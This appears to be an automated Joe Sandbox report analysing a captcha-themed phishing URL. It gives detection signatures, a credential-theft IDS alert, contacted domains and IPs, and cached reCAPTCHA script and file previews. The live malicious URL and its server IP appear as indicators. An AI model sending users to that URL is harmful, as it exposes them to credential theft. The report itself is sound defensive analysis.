Edit tour

Windows Analysis Report
https://0.pwsinc.shop/?MKPT=Inc

Overview

General Information

Sample URL:	https://0.pwsinc.shop/?MKPT=Inc
Analysis ID:	1523413
Infos:

Detection

Captcha Phish

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected Captcha Phish

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2532,i,14978475044402180545,11299441417049235897,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://0.pwsinc.shop/?MKPT=Inc" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.4.pages.csv	JoeSecurity_CaptchaPhish	Yara detected Captcha Phish	Joe Security

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T15:37:13.620487+0200	2857090	1	Successful Credential Theft Detected	172.105.17.244	443	192.168.2.4	49736	TCP

HTTP traffic detected: POST /recaptcha/api2/reload?k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1Host: www.google.comConnection: keep-aliveContent-Length: 10225sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-protobufferAccept: */*Origin: https://www.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_68.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_68.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_68.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_62.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_73.2.dr, chromecache_71.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.
Source: chromecache_73.2.dr, chromecache_71.2.dr, chromecache_63.2.dr, chromecache_81.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@17/41@10/6

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2532,i,14978475044402180545,11299441417049235897,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://0.pwsinc.shop/?MKPT=Inc"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2532,i,14978475044402180545,11299441417049235897,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#localhost_support	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha#6262736	0%	URL Reputation	safe
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://support.google.com/recaptcha/?hl=en#6223828	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
0.pwsinc.shop	172.105.17.244	true	true	unknown
www.google.com	172.217.18.100	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://www.google.com/js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js	false	unknown
https://www.google.com/recaptcha/api2/reload?k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp	false	unknown
https://www.google.com/recaptcha/api.js	false	unknown
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp	false	unknown
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY	false	unknown
https://0.pwsinc.shop/?MKPT=Inc	false	unknown
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvy	false	unknown
https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/log?format=json&hasfast=true	chromecache_68.2.dr	false		unknown
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha#6262736	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://recaptcha.net	chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/api2/	chromecache_73.2.dr, chromecache_71.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false		unknown
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/contact	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha	chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
142.250.185.132	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.105.17.244	0.pwsinc.shop	United States	63949	LINODE-APLinodeLLCUS	true
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523413
Start date and time:	2024-10-01 15:36:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://0.pwsinc.shop/?MKPT=Inc
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@17/41@10/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.206, 172.217.16.195, 64.233.167.84, 34.104.35.123, 142.250.185.99, 142.250.185.138, 216.58.206.74, 142.250.74.202, 172.217.16.202, 172.217.18.106, 172.217.16.138, 172.217.18.10, 142.250.185.74, 142.250.186.106, 216.58.212.170, 142.250.186.42, 142.250.185.106, 142.250.186.170, 216.58.206.42, 142.250.186.74, 142.250.186.138, 172.217.16.131, 142.250.185.163, 13.85.23.86, 199.232.210.172, 13.85.23.206, 192.229.221.95, 52.165.164.15, 142.250.186.163
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://0.pwsinc.shop/?MKPT=Inc

Input	Output
URL: https://0.pwsinc.shop/?MKPT=Inc Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":true, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://0.pwsinc.shop/?MKPT=Inc Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://0.pwsinc.shop/?MKPT=Inc Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://0.pwsinc.shop/?MKPT=Inc Model: jbxai	{ "brand":[], "contains_trigger_text":true, "trigger_text":"Select all images with palm trees", "prominent_button_name":"VERIFY", "text_input_field_labels":[], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17998)
Category:	dropped
Size (bytes):	18618
Entropy (8bit):	5.640300193320173
Encrypted:	false
SSDEEP:	384:MolxP/aWS4dj4lfFVqEBSmur4+O5Un8OxuTtLRsFOuohfa8wnaeDg3z6MVRegEW9:DlMWSKcKDOhtLCONa8qae0rVReZWrPJ
MD5:	59D00FA56FB8B29068D96A431A52AE7B
SHA1:	9F8C5455383C49873A60CAEBACB1DECAAE0F909E
SHA-256:	76E6DCC56BA185BAB0F2E68B485146BC42E79395A67DF0F7C23A18790677DE09
SHA-512:	3BFF8DCB6FDF2B4DE78211D636AE0310891FE6653CD1C6CADE0AE8039AC0EB67659DA142040B6290133E0D928FA1D22061F0A043D86F232AD40527A80B30F7EE
Malicious:	false
Reputation:	low
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var c=this\|\|self,C=function(d){return d},m=function(d,a){if(!(a=(d=null,c).trustedTypes,a)\|\|!a.createPolicy)return d;try{d=a.createPolicy("bg",{createHTML:C,createScript:C,createScriptURL:C})}catch(f){c.console&&c.console.error(f.message)}return d};(0,eval)(function(d,a){return(a=m())&&d.eval(a.createScript("1"))===1?function(f){return a.createScript(f)}:function(f){return""+f}}(c)(Array(Math.random()7824\|0).join("\n")+['(function(){/',.'',.' Copyright Google LLC',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var dB=function(d,a,C){if(d.length==3){for(C=0;C<3;C++)a[C]+=d[C];for(C=(d=[13,8,13,12,16,5,3,10,15],0);C<9;C++)a[3](a,C%3,d[C])}},a2=function(d,a,C){return d.PE(function(m){C=m},false,a),C},cb=function(d,a,C,m,c,Z,e,F){return(F=X[(Z=(a=[27,-7,-92,-77,46,39,a,14,55,37],d&(e=f$,7)),m).V](m.uZ),F[m.V]=function(f){Z+=6+7*d,c=f,Z&=7},F).concat=function(f){return((c=(f=(f=C%16+1,+a

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	dropped
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65461)
Category:	downloaded
Size (bytes):	171647
Entropy (8bit):	5.670237143615763
Encrypted:	false
SSDEEP:	1536:1vm/bS1j+p1Hh1+ZLzy7O8ZhhAjcEUYYIU0ddxc4nOB6oBqDGlv14RYj90uuM+uK:4GoDytO5LhAYqdcFBqKW2Fs
MD5:	E13B19152F38C328CA818793F0D58A2E
SHA1:	3279E21B3220A7FD845AC4F85121CFF6CB147FDF
SHA-256:	5F22897D82C4A746FED1AD550EA17C420F8C4DD618C4EA4C52305B292E040CDD
SHA-512:	E7B6E55479991CB2EC3E3A739D1C8D13301A687744154147189061E152635CEDDDAAF2BD1A07C407EA318DADCD80B92B93184D5E7D37CCD24F046ED6A5AAB5EA
Malicious:	false
Reputation:	low
